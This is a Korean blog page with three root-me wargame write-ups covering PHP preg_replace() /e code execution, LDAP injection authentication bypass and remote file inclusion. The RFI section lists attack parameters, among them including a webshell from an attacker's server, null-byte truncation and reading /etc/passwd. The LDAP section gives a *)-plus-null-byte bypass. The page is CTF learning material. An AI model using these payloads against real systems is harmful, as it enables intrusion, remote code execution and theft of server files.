반응형

PHP 함수 중 preg_replace() 함수 관련된 취약점 문제를 풀어보겠습니다.

 

preg_replace() 함수는 문장 내 정규표현식 패턴을 찾아 다른 패턴으로 바꿔주는 역할을 하는 함수이다.

preg_replace("[패턴]" , "[바꿀 패턴]" , "[바꿀 문장]"); << 형식으로 사용한다.

 

이 함수에서 사용할 수 있는 변경자 중 하나가 /e 인데 이는 replacement 인수에 php 함수를 쓸 수 있도록 허용한다.

 

문제에 접속해보니 3개의 입력 값을 받는 창이 존재하고 있다.

임의로 a, b, c를 넣어보았다.

 

Warning이 발생하면서 하단에 에러 메시지가 출력되고 있습니다.

 

순서대로 /a/e, phpinfo(), a를 입력한다면(flag.php가 아니라 a를 입력해도 가능하다.)

 

a가 phpinfo()의 반환값으로 변환되어 phpinfo() 함수 실행이 가능하다.

이 문제의 목표인 flag.php를 읽어보자.

 

system 함수를 이용해서 flag.php를 시도해보았다.

 

system 함수의 사용이 막혀있어서 해당 명령어 실행이 불가능하였다.

 

system 함수가 아닌 file_get_contents 함수를 이용해서 flag.php 페이지를 불러왔더니,

 

flag값이 출력되었다.

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] LDAP injection - Authentication  (0) 2020.01.08
[root-me] Remote File Inclusion  (0) 2020.01.08
[root-me] PHP - assert()  (0) 2020.01.02
반응형

LDAP Injection 문제를 풀어보겠습니다. 인증 매커니즘을 우회하는 것이 목표입니다.

 

LDAP이란? "TCP/IP를 통해 디렉토리 서비스에 액세스하고 수정하기 위한 프로토콜" 이라고 정의됩니다.

LDAP Injection 공격 또한, SQL Injection 공격 기법과 별반 다르지 않습니다.

공격자는 어플리케이션 측에서 악의적인 LDAP 문법을 이용해 서버가 의도치 않은 행위(명령어 실행 등)를 실행하는 것이 목표입니다.

 

Root-me 문제를 풀면서 이해해보도록 하겠습니다.

LDAP Injection 문제를 클릭하면, 로그인 창이 뜹니다.

로그인 기능이 동작되는지, 취약한 패스워드를 사용하고 있지는 않은지 파악하기 위해 [admin/admin]을 입력해봅니다.

 

[admin/admin]으로는 로그인이 되지 않으며, unknown identifiers라는 에러가 발생합니다.

 

LDAP Injection을 시도할 때, 주로 사용되는 특수문자인 *)를 입력해보았습니다.

LDAP 문법이 어떻게 구성되어 있는지 친절하게 에러로 뱉어줍니다.

 

username에 *)를 입력하니 (uid=*))(userPassword=admin) 이라는 구문이 만들어지기 때문에 이 부분을 활용하면 될 것 같다는 생각이 듭니다.

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

위의 링크를 참고해서 LDAP 공격 문자열을 만들었습니다.

 

그래서, uid=*) 까지만 True 값을 만들고 NULL Byte(%00)를 이용해 이후에 입력받는 문자열(패스워드)을 끊어버려 상관없이 만들어줬더니 인증에 성공하였습니다!

 

ch25 계정의 패스워드가 Flag 값입니다...

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08
[root-me] Remote File Inclusion  (0) 2020.01.08
[root-me] PHP - assert()  (0) 2020.01.02
[root-me] JSON Web Token (JWT) - Introduction  (0) 2019.12.20
반응형

Remote File Inclusion 취약점 관련 문제입니다.

 

줄여서 보통 RFI 취약점이라고 통칭하며, 공격자가 악성 스크립트를 서버에 전달해서 해당 페이지를 통해 전달한 악성 스크립트 코드가 실행되도록 하는 공격이라는 점에서 LFI(Local File Inclusion) 취약점과 차이가 있습니다.

 

RFI 취약점을 이용한 공격은 크게 4가지 CASE로 나눠집니다.

CASE1. /vuln.php?param=http://공격자서버/webshell.txt?

RFI 취약점이 발생하는 부분에 원격지의 파일(웹쉘)을 포함시킨다.

CASE2. /vuln.php?param=C:\ftp\upload\exploit

RFI 공격 이전에 미리 올려둔 파일을 호출해서 코드를 실행시킨다.

CASE3. /vuln.php?param=C:\example.txt%00

서버 측에서 .php 확장자가 강제로 적용되는 경우 Null Byte(%00) 문자를 삽입해서 확장자를 제거하고 다른 파일로의 접근이 가능하게 한다.

(NULL Byte 문자가 존재할 경우 문자열 끝으로 판단함)

CASE4. /vuln.php?param=/etc/passwd%00

서버가 UNIX일 경우 /etc/passwd 파일 열람이 가능하다.

 

 

Root-me 문제에서는 4가지 유형 중 첫 번째 CASE를 이용해서 문제를 풀었습니다.

일단 문제에 접속하면 Language: 문자열 옆에 두 개의 버튼이 존재하고 있습니다.

이 중에서 임의로 하나를 클릭해봅니다.

 

버튼을 클릭하면 "lang"이라는 파라미터가 GET 메소드로 en/fr 값을 전송하고 있습니다.

공격 가능성을 판단하기 위해 File Inclusion 취약점에서 자주 사용되는 특수문자 "../"를 삽입해 보았습니다.

 

에러가 발생하면서 에러 메시지를 통해 정보를 제공해주고 있습니다.

File Inclusion 공격이 가능할 것으로 보입니다.

 

RFI 취약점을 이용하기 위해 우선 웹서버를 구동시키고 system 명령어를 이용해 index.php 파일을 열람할 수 있는 코드를 작성하여 로컬(공격자) 웹 서버에 업로드 하였습니다.

 

그 후, nrgok 툴을 이용해 외부에서 접속 가능한 도메인을 만들어 RFI 취약점이 발생한 lang 파라미터에 해당 URL을 삽입하였습니다.

 

에러가 발생했는데, 해당 에러는 보안상 이유로 system 명령어가 막혀있다는 에러입니다.

RFI 공격은 성공한 것으로 보입니다.

 

system 명령어를 사용하지 않고 file_get_contents 함수를 이용해 index.php 파일을 읽을 수 있게 코드를 재작성 한 후 업로드 하였습니다.

 

앞과 똑같은 방법으로 해당 코드를 실행시켰더니, 기존 버튼 위에 이상한 모양의 버튼이 생긴 것을 확인 할 수 있습니다.

 

마우스 우클릭하여 페이지 소스 보기를 클릭합니다.

 

소스 내에 주석으로 FLAG 값이 출력되어 있는 것을 확인할 수 있습니다!!

반응형

+ Recent posts

반응형
반응형